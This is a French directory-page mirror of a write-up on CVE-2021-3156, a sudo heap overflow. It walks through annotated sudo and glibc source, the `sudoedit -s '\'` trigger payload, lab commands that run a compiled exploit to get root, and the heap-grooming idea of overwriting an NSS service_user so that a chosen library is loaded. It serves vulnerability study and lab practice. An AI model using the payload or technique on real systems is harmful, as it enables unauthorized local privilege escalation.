Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC, Docker et compte rendu d'analyse | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2021-3156
Escalade de PrivilègesAnalyse des VulnérabilitésAnalyse de CodeExploitationRétro-ingénierieDébogueursFuzzingTests d'IntrusionApprentissage et ÉducationExploitation de BinairesLabs et Pratique
112il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC, Docker et compte rendu d'analyse

Voir le dépôt

CVE-2021-3156

[toc]

Aperçu de la vulnérabilité

Identifiant de vulnérabilité : CVE-2021-3156

Score de vulnérabilité :

Produit concerné : linux sudo

Versions affectées : 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

Conditions d'exploitation : linux local ; sudo est suid et exécutable

Impact : élévation de privilèges locale

Téléchargement des sources : https://www.sudo.ws/getting/source/

Configuration de l'environnement

Environnement docker : chenaotian/cve-2021-3156

J'ai moi-même construit l'environnement docker, qui fournit :

  1. Un sudo compilé soi-même, débogable à partir des sources
  2. Une glibc avec symboles de débogage
  3. gdb et les plugins gdb pwngdb & pwndbg
  4. exp.c et son exp compilé avec succès

Tout se trouve dans le répertoire /root :

image-20220124223312224

  • Le répertoire exp est celui qui contient le code de l'exp et l'exp compilé ; on peut l'exécuter directement dans ce docker.
  • glibc-2.27 est le répertoire des sources de la version de libc présente dans cet environnement.
  • sudo-1.8.21 est le répertoire des sources de sudo de cet environnement ; c'est avec lui que j'ai compilé.

Test de l'exp :``` cd exp su test ./exp whoami

root@kitploit:~
Le contenu lié au débogage est décrit plus loin dans [quelques commandes de débogage](#一些调试命令)


## Principe de la vulnérabilité

Payload de déclenchement de la vulnérabilité```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

Analyse du code source (sudo-1.8.21) : Tout d'abord, la fonction main dans sudo.c (sudo.c: 133) :```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

root@kitploit:~
··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

root@kitploit:~
- D'abord, nous appelons la fonction `parse_args` pour traiter les paramètres saisis. En réalité, ici nous n'avons saisi qu'un `-s`, il n'y a rien de particulier à configurer, nous définissons sudo_mode sur MODE_EDIT et MODE_SHELL.

- Ensuite, selon la valeur de sudo_mode, MODE_EDIT appelle policy_check.

Ensuite, la fonction policy_check dans sudo.c (sudo.c: 1136) :```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

Le rappel plugin->u.policy->check_policy est appelé ; on peut déboguer pour voir la véritable fonction de ce rappel :

image-20220123113326096

Ce qui est appelé est la fonction sudoers_policy_check de policy.c (policy.c : 760) :```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

root@kitploit:~
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

root@kitploit:~
Ensuite, la fonction sudoers_policy_main dans sudoers.c a été appelée (sudoers.c: 224) :```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

Ici, quelques variables globales sont définies, NewArgc et NewArgv comme ci-dessous, qui correspondent en fait aux paramètres passés.

image-20220123113819116

Ensuite, on entre dans la fonction set_cmnd de sudoers.c (sudoers.c : 796) :```c static int set_cmnd(void) { ··· ··· ··· ···

root@kitploit:~
/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

root@kitploit:~
L'overflow se produit également ici. D'après les commentaires dans le code, on peut voir que le débordement de tas se produit lors de la copie vers le tas. L'intention originale de ce code est assez simple à comprendre : copier tous les arguments de NewArgv dans le tas, séparés par des espaces, et lorsqu'on rencontre `\+非空格类字符`, ne copier que ce caractère.

**Mais il ne prend pas en compte un cas : si un élément de NewArgv se termine par `\`, cela donne une structure `\+\x00`, et `\x00` n'est pas un caractère de type espace (incroyable). Cela signifie qu'après avoir copié `\x00` dans le tas, la variable from est incrémentée (deux fois dans une seule boucle), ce qui lui fait sauter l'occasion de passer la condition while qui détecte le marqueur de fin `\x00`, et elle considère que les arguments n'ont pas fini d'être copiés et continue à copier jusqu'au prochain `\x00`.**

Dans ce scénario, on peut voir que `\+\x00` est immédiatement suivi du paramètre suivant `A*80`, donc la copie continue jusqu'à la fin de `A*80`. Mais n'oubliez pas que le traitement réel de `A*80` continue ensuite, et qu'il sera copié à nouveau. Au total, `A*80` est donc copié deux fois, alors que le chunk a été alloué pour une taille correspondant à une seule chaîne `A*80`, ce qui dépasse largement la longueur demandée pour le chunk.

image-20220123113907744

Ensuite, cela provoque le débordement. Avant la copie :

image-20220123114036691

Après la copie :

image-20220123114137794

Le chemin global de déclenchement de la vulnérabilité est le suivant (lors du débogage, il suffit de placer des points d'arrêt sur ces fonctions) :

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Principe d'exploitation de la vulnérabilité

Nous nous sommes référés à [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **mais sa méthode de mise en page du tas est difficile à reproduire ; ici, nous analysons en détail la méthode de mise en page du tas**. En passant la variable d'environnement `LC_*`, on organise le tas, puis on fait en sorte que le chunk qui déborde recouvre exactement la structure service_user que la fonction nss_load_library doit charger pour le so, on écrase la chaîne du nom du so dans cette structure, puis le programme charge le so que nous spécifions pour exécuter du code arbitraire.

Bien que la logique paraisse claire, les détails à régler restent assez délicats :

1. Les structures de données et mécanismes associés dans nss_load_library
2. Comment setlocale réalise la mise en page du tas via la variable d'environnement `LC_*`

Dans la suite, nous appellerons le chunk qui peut déborder lors de la vulnérabilité « vuln chunk », et la cible du débordement « target chunk ».

### Principe de nss

Commençons par examiner le code clé de l'exploitation :

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

ni est la structure service_user sur le tas. Lorsque ni->library->lib_handle est NULL, __libc_dlopen est appelé pour charger le .so. Si nous pouvons déborder jusqu'au bloc du tas contenant ni, il suffit alors de mettre library à 0, car dans la première branche, si library est NULL, cela signifie qu'il n'a pas été initialisé, et nss_new_service sera appelé pour initialiser library ; le handle fraîchement initialisé sera forcément NULL.

Ok, une fois le point de déclenchement clé de l'exploitation identifié, regardons le mécanisme de nss.

Tout d'abord, il y a un fichier dans le répertoire /etc/ appelé /etc/nsswitch.conf (en général il ressemble à ceci, mais il n'est pas identique sur tous les appareils) :```

/etc/nsswitch.conf

Example configuration of GNU Name Service Switch functionality.

If you have the glibc-doc-reference' and info' packages installed, try:

`info libc "Name Service Switch"' for information about this file.

passwd: compat systemd group: compat systemd shadow: compat gshadow: files

hosts: files dns networks: files

protocols: db files services: db files ethers: db files rpc: db files

netgroup: nis

root@kitploit:~
Ceci est un fichier de configuration. C'est à travers ces chemins et cet ordre (en réalité, quels .so utiliser) que l'on recherche les méthodes. On peut également spécifier quelles actions le système entreprendra lorsqu'une méthode donnée fonctionne ou échoue.

Ce que je comprends, c'est qu'il définit d'où le programme doit récupérer les informations requises, telles que les informations utilisateur, le réseau, les informations d'adresse, etc. Dans le programme, cela se manifeste par l'appel de cette fonction depuis un .so différent. L'implémentation de cette fonction dans les différents .so constitue la méthode pour récupérer ces informations.

Passons maintenant aux trois structures :```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

Il existe un point d'entrée global static name_database *service_table;, puis dans la fonction __nss_database_lookup, si le point d'entrée global service_table est vide, nss_parse_file est appelé pour effectuer l'initialisation. Le code correspondant est le suivant :

glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }

root@kitploit:~
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

Le principe est que lors de la première recherche, l'entrée globale service_table est vide, puis une initialisation est effectuée à partir du contenu du fichier /etc/nsswitch.conf. La structure de données finale est la suivante :

image-20220123134155631

Ici, toutes les structures de données sont allouées en une seule fois dans la même fonction, dans l'ordre indiqué sur mon schéma, donc en temps normal, ces chunks sont tous contigus. De plus, leur allocation se fait avant le vuln chunk. (Point d'arrêt de débogage nss_parrse_file)

Par ailleurs, il est à noter que la fonction nss_parse_file contient une fonction __getline, qui alloue un chunk en fonction de la longueur du contenu lu, et ce chunk est libéré au moment où la fonction nss_parse_file retourne. Comme dans /etc/nsswitch.conf, la ligne la plus longue est essentiellement un commentaire, et comme nous ne contrôlons pas ce fichier, on peut considérer que le chunk alloué à chaque appel de __getline a toujours la même longueur, fixée à 0x80.

On peut donc le comprendre ainsi : c'est un chunk très précieux, alloué avant la liste chaînée des services, libéré dès que la structure de la liste des services est entièrement allouée, et qui peut rester à l'état libre jusqu'à l'allocation du vuln chunk. Retenez temporairement ce petit détail (j'ai testé de nombreux environnements, et dans la plupart d'entre eux, ce détail est exploitable).

Alors, quand la fonction nss_load_library est-elle déclenchée ? On peut examiner la pile d'appels lors du débogage :

image-20220123114256387

D'après la pile d'appels, lorsque des fonctions de recherche d'informations sur l'hôte ou l'utilisateur doivent être appelées, des fonctions de recherche sont invoquées pour trouver la fonction correspondante dans le so correspondant, puis l'appeler. En clair, il s'agit de la structure de données service_table générée par /etc/nsswitch.conf. Le code est le suivant :

glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;

*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)

root@kitploit:~
Il appelle d'abord `__nss_database_lookup` qui, en fonction de la chaîne `DATABASE_NAME_STRING` transmise (dont le contenu est passwd, group, shadow, etc.), trouve le service correspondant : il recherche la zone rouge dans la figure ci-dessous pour trouver une correspondance et renvoie le pointeur de service. Si c'est la première recherche et que les entrées sont toutes vides, alors l'initialisation a lieu (mentionnée ci-dessus).

image-20220123133933696

Ensuite, il appelle `__nss_lookup` qui, en boucle, appelle `__nss_lookup_function` pour rechercher, à partir de la liste chaînée de services, le service où se trouve la fonction correspondante, puis rappelle `nss_load_library` , obtient le handle du .so, puis recherche la fonction correspondante, le code est le suivant :

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···

found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略

else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;

root@kitploit:~
  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

return result; } libc_hidden_def (__nss_lookup_function)

root@kitploit:~
可以看出,只要调用了 libnss_xxx.so 之中的函数,就必会调用到 `nss_load_library` ,即便该so 已经装载过了。所以,根据已知exp 的思路,**只需要知道堆溢出发生之后,第一个被调用的libnss相关的函数属于哪个so,然后通过堆布局将该so 所属的`service_user` 结构体布局到 vuln chunk 后面即可。但根据我再多个环境中的测试发现,即便是相同版本,自己编译的和发行版,代码的结构都不太一样**,这里使用我自己的调试环境重新分析编写一份exp。

### 回到调试环境

我自己搭建的这个调试环境(docker)就是自己编译的sudo,有调试符号,具体信息如下:

---

On peut voir que dès qu'une fonction de libnss_xxx.so est appelée, `nss_load_library` sera forcément invoquée, même si ce .so a déjà été chargé. Donc, selon le raisonnement de l'exploit connu, **il suffit de savoir à quel .so appartient la première fonction liée à libnss appelée après le débordement de tas, puis, grâce à l'agencement du tas, de placer la structure `service_user` correspondant à ce .so juste après le chunk vulnérable. Cependant, d'après mes tests dans plusieurs environnements, même pour une même version, la structure du code diffère entre une compilation maison et une version de distribution**. J'utilise donc ici mon propre environnement de débogage pour réanalyser et rédiger un exploit.

### Retour à l'environnement de débogage

L'environnement de débogage que j'ai moi-même mis en place (docker) est un sudo compilé par mes soins, avec symboles de débogage. Voici les informations détaillées :```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

Le contenu de /etc/nsswitch.conf est le suivant :

image-20220115142452318

Cela reste très différent du cas habituel, donc exécuter directement l'exploit de quelqu'un d'autre ne fonctionnera certainement pas. Et de plus, après débogage, dans mon environnement, après le débordement de tas, la première fonction nss appelée est setspent, une fonction de shadow, c'est-à-dire le service_user de database_entrry3 ; le chunk cible est donc le chunk 7. Nous voulons que le chunk vuln apparaisse avant le chunk 7, et qu'aucun autre chunk numéroté ne se trouve entre les deux (afin que le débordement ne détruise pas les autres chunks de la structure service_table).

image-20220123134335546

Ensuite, il est inévitable d'étudier comment agencer le tas en une seule opération pour élever les privilèges. On sait que la disposition du tas est réalisée via la variable d'environnement LC_ALL dans la fonction setlocale. Après analyse, setlocale contient de très nombreuses opérations d'allocation et de libération de mémoire sur le tas, nous nous concentrons donc ici sur les parties que nous pouvons contrôler.

Agencement du tas avec setlocale

Par hasard, j'ai trouvé sur le blog interne de l'entreprise le blog d'analyse d'un collègue, qui m'a beaucoup aidé. Comme il n'est pas accessible depuis l'extérieur, je ne le mets pas ici.

Le mécanisme de tas de setlocale tient en une phrase : il suffit de saisir, dans l'ordre des chunks que l'on souhaite libérer, des variables d'environnement de la longueur correspondante. Cela garantit l'ordre de libération et les relations d'ordre entre eux, mais ces chunks ne sont pas contigus entre eux.

Regardons d'abord le code source de setlocale :

glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;

··· ···

locale_path = NULL; locale_path_len = 0;

··· ···

if (category == LC_ALL) { ··· ··· ··· ··· /* Load the new data for each category. */
while (category-- > 0) if (category != LC_ALL) {//关键处理函数 _nl_find_locale newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);

root@kitploit:~
    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

} libc_hidden_def (setlocale)

root@kitploit:~
`setlocale` 函数是关于一些语言环境乱七八糟有关的,相关环境变量参数有以下几种:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

Selon la valeur du paramètre category passé, il va chercher le paramètre correspondant dans les variables d’environnement et agir en conséquence. Dans sudo, setlocale(LC_ALL,""); est utilisé. Lorsque le paramètre passé est LC_ALL, il parcourt toutes les variables vers l’avant à partir de LC_IDENTIFICATION. Pour chacune, il appelle la fonction _nl_find_locale. Cette fonction est assez complexe, mais le newnames[category] retourné est en réalité la valeur de la variable d’environnement correspondante. Ensuite, la fonction strdup est appelée pour copier cette chaîne sur le tas. Comme c’est LC_ALL qui est passé, un tableau de chaînes correspondant est généré, puis une vérification est effectuée avec la valeur par défaut globale. Si la vérification échoue, la mémoire est libérée (il est facile de construire une entrée qui échoue).

Autrement dit, nous pouvons, en manipulant ce processus, provoquer x allocations de tas via strdup et x libérations des chunks tout juste alloués. Cela semble simple, mais en réalité ce ne l’est pas, car avant cela, dans la fonction _nl_find_locale, il y a de très nombreuses opérations d’allocation et de libération sur le tas. Les chunks alloués par strdup ici sont pour la plupart des chunks libérés dans la fonction _nl_find_locale. Bien que, pour l’exploitation du tas, la suite de l’analyse ne soit plus vraiment importante, si l’on veut disposer le tas avec précision, ou si un nouvel environnement est plus contraignant, il reste nécessaire d’analyser _nl_find_locale :

glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;

if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···

/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */

mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;

/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);

if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }

··· ···

if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];

root@kitploit:~
  if (locale_file == NULL)
return NULL;
}

··· ··· ··· ···

return (struct __locale_data *) locale_file->data; }

root@kitploit:~
Dans la fonction `_nl_find_locale`, on commence par appeler la fonction `_nl_explode_name` pour assigner le masque (`mask`) en fonction de la valeur de la variable d’environnement (comme indiqué dans mes commentaires dans le code). On vérifie principalement s’il y a un pays, une langue et un suffixe personnalisé par l’utilisateur, ces trois éléments. Si c’est le cas, les masques correspondants sont définis, dont deux pour la langue, soit quatre au total. Ensuite, l’appel à la fonction `_nl_make_l0nflist` fait directement que `_nl_find_locale` retourne vide, déclenchant ainsi le `break` de la boucle dans `setlocale` ci-dessus (très important).

Examinons maintenant la fonction `_nl_make_l0nflist` :

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名,也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件,则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
  //每次mask 值会-1,这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

Les deux paramètres d'entrée les plus critiques sont do_allocate et mask. do_allocate indique si de la nouvelle mémoire doit être activement allouée. S'il vaut 0, la recherche est effectuée directement dans la liste chaînée existante ; généralement, la liste existante étant vide, la fonction retourne directement. Si do_allocate n'est pas 0, la liste est étendue.

Lors d'un appel à la fonction _nl_make_l10nflist, 1 à 2 chunks sont alloués, avec des tailles variables. Le premier chunk est alloué en fonction de la longueur du nom de fichier composé à partir de mask. Si ce nom de fichier n'est pas dupliqué, un deuxième chunk est alloué : il s'agit d'une structure à longueur variable gérant le nom de fichier, d'utilité limitée et hors de notre contrôle, donc ignorée ici.

